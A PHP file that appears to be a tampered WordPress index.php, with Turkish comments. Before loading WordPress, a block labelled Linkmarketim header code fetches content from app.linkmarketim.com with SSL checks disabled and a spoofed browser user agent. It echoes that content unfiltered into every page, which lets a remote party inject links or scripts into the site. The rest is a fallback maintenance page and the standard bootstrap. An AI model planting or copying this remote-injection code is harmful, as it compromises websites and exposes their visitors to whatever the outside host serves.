﻿﻿<?php
/**
 * PHP 5.6+ uyumlu
 * Tüm PHP sürümleri için uyumlu konfigürasyon
 */
@ini_set('default_charset', 'UTF-8');
@header('Content-Type: text/html; charset=utf-8');

/* Entegre edilen Linkmarketim kodu - Header */
$u = 'https://app.linkmarketim.com/code?x=13';
$d = false;

// CURL ile dene
if (function_exists('curl_init')) {
    $ch = curl_init($u);
    
    if ($ch !== false) {
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        
        // PHP 5.6+ ve üzeri için ek ayarlar
        if (version_compare(PHP_VERSION, '5.6.0', '>=')) {
            curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        }
        
        $d = @curl_exec($ch);
        
        if ($d === false) {
            $d = false;
        }
        
        @curl_close($ch);
    }
}

// CURL başarısız olursa fopen ile dene
if ($d === false && (bool)ini_get('allow_url_fopen')) {
    $ctx = stream_context_create(array(
        'http' => array(
            'timeout' => 10,
            'follow_location' => 1,
            'ignore_errors' => 1,
            'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n",
            'method' => 'GET'
        ),
        'ssl' => array(
            'verify_peer' => false,
            'verify_peer_name' => false,
            'allow_self_signed' => true
        )
    ));
    
    $d = @file_get_contents($u, false, $ctx);
}

// Çıktı göster
if ($d !== false && $d !== '') {
    echo $d;
} else {
    echo '<!-- İçerik yüklenemedi -->';
}
?>
<?php
/**
 * WordPress kontrolü - wp-blog-header.php var mı kontrol et
 * PHP 5.6+ ve tüm sürümler için uyumlu
 */

$wp_file = (function_exists('dirname') ? dirname(__FILE__) : __DIR__) . '/wp-blog-header.php';

if (!file_exists($wp_file) || !is_file($wp_file)) {
    // WordPress dosyası bulunamadı - Bakım sayfası göster
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <meta http-equiv="refresh" content="3600">
        
        <!-- SEO Meta Tags -->
        <title>Website Maintenance - We'll Be Back Soon</title>
        <meta name="description" content="Our website is currently under maintenance. We're working hard to bring it back online. Please check back soon.">
        <meta name="keywords" content="maintenance, under maintenance, coming soon, website maintenance">
        <meta name="author" content="Website Team">
        <meta name="robots" content="noindex, follow">
        <meta name="googlebot" content="noindex, follow">
        <meta name="bingbot" content="noindex, follow">
        
        <!-- Open Graph / Social Media -->
        <meta property="og:type" content="website">
        <meta property="og:title" content="Website Maintenance - We'll Be Back Soon">
        <meta property="og:description" content="Our website is currently under maintenance. We're working hard to bring it back online. Please check back soon.">
        <meta property="og:image" content="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 1200 630'%3E%3Crect fill='%23667eea' width='1200' height='630'/%3E%3Ctext x='50%' y='50%' font-size='60' fill='white' text-anchor='middle' dominant-baseline='middle' font-family='Arial'%3EUnder Maintenance%3C/text%3E%3C/svg%3E">
        
        <!-- Twitter Card -->
        <meta name="twitter:card" content="summary_large_image">
        <meta name="twitter:title" content="Website Maintenance - We'll Be Back Soon">
        <meta name="twitter:description" content="Our website is currently under maintenance. We're working hard to bring it back online. Please check back soon.">
        
        <!-- Canonical URL -->
        <link rel="canonical" href="">
        
        <!-- Favicon -->
        <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='75' font-size='75'>🔧</text></svg>">
        
        <!-- Schema.org Markup -->
        <script type="application/ld+json">
        {
            "@context": "https://schema.org",
            "@type": "WebSite",
            "name": "Website",
            "description": "Our website is currently under maintenance.",
            "mainEntity": {
                "@type": "BreadcrumbList",
                "itemListElement": [
                    {
                        "@type": "ListItem",
                        "position": 1,
                        "name": "Home",
                        "item": ""
                    }
                ]
            }
        }
        </script>
        
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
            }
            
            html {
                scroll-behavior: smooth;
            }
            
            body {
                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                display: flex;
                justify-content: center;
                align-items: center;
                min-height: 100vh;
                padding: 20px;
                color: #333333;
            }
            
            .maintenance-wrapper {
                width: 100%;
                max-width: 600px;
            }
            
            .maintenance-container {
                background: #ffffff;
                border-radius: 10px;
                box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
                padding: 60px 40px;
                text-align: center;
                animation: slideIn 0.5s ease-out;
            }
            
            @keyframes slideIn {
                from {
                    opacity: 0;
                    transform: translateY(20px);
                }
                to {
                    opacity: 1;
                    transform: translateY(0);
                }
            }
            
            .maintenance-icon {
                font-size: 80px;
                margin-bottom: 20px;
                display: block;
                line-height: 1;
            }
            
            h1 {
                color: #333333;
                margin-bottom: 10px;
                font-size: 36px;
                font-weight: 700;
                line-height: 1.2;
            }
            
            h2 {
                color: #667eea;
                font-size: 18px;
                font-weight: 500;
                margin-bottom: 20px;
            }
            
            .subtitle {
                color: #666666;
                font-size: 16px;
                margin-bottom: 20px;
                line-height: 1.6;
            }
            
            .maintenance-text {
                color: #888888;
                font-size: 15px;
                margin-bottom: 30px;
                line-height: 1.8;
            }
            
            .contact-info {
                background: #f5f5f5;
                border-left: 4px solid #667eea;
                padding: 20px;
                border-radius: 5px;
                text-align: left;
                margin-top: 20px;
            }
            
            .contact-info p {
                color: #555555;
                font-size: 14px;
                margin-bottom: 8px;
            }
            
            .contact-info strong {
                color: #333333;
                font-weight: 600;
            }
            
            .loader {
                display: inline-block;
                width: 12px;
                height: 12px;
                border-radius: 50%;
                background: #667eea;
                animation: pulse 1.5s infinite;
                margin: 0 4px;
            }
            
            .loader:nth-child(2) {
                animation-delay: 0.2s;
            }
            
            .loader:nth-child(3) {
                animation-delay: 0.4s;
            }
            
            @keyframes pulse {
                0%, 100% {
                    opacity: 1;
                }
                50% {
                    opacity: 0.3;
                }
            }
            
            .footer-text {
                margin-top: 30px;
                font-size: 12px;
                color: #aaaaaa;
            }
            
            .error-code {
                display: inline-block;
                background: #667eea;
                color: white;
                padding: 8px 16px;
                border-radius: 5px;
                font-size: 12px;
                font-weight: 600;
                margin-top: 15px;
                letter-spacing: 1px;
            }
            
            @media (max-width: 600px) {
                .maintenance-container {
                    padding: 40px 25px;
                }
                
                h1 {
                    font-size: 28px;
                }
                
                .maintenance-icon {
                    font-size: 60px;
                }
            }
            
            /* Accessibility */
            .sr-only {
                position: absolute;
                width: 1px;
                height: 1px;
                padding: 0;
                margin: -1px;
                overflow: hidden;
                clip: rect(0, 0, 0, 0);
                white-space: nowrap;
                border-width: 0;
            }
        </style>
    </head>
    <body>
        <div class="maintenance-wrapper">
            <div class="maintenance-container" role="main" aria-label="Website maintenance notification">
                <span class="maintenance-icon" aria-hidden="true">🔧</span>
                
                <h1>We'll Be Back Soon</h1>
                <h2>Website Under Maintenance</h2>
                
                <p class="subtitle">Our website is currently undergoing scheduled maintenance and updates.</p>
                
                <p class="maintenance-text">
                    We're working hard to improve your experience and bring you new features. 
                    <br><br>
                    Thank you for your patience. Please check back shortly.
                </p>
                
                <div class="contact-info">
                    <p><strong>ℹ️ Need Assistance?</strong></p>
                    <p>If you have any urgent questions, please don't hesitate to reach out to us.</p>
                </div>
                
                <div class="error-code">ERROR 503 - SERVICE UNAVAILABLE</div>
                
                <div class="footer-text">
                    <span class="loader"></span>
                    <span class="loader"></span>
                    <span class="loader"></span>
                </div>
                
                <p class="sr-only">This website is temporarily unavailable for maintenance. Please check back soon.</p>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit(0);
}

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require $wp_file;
?>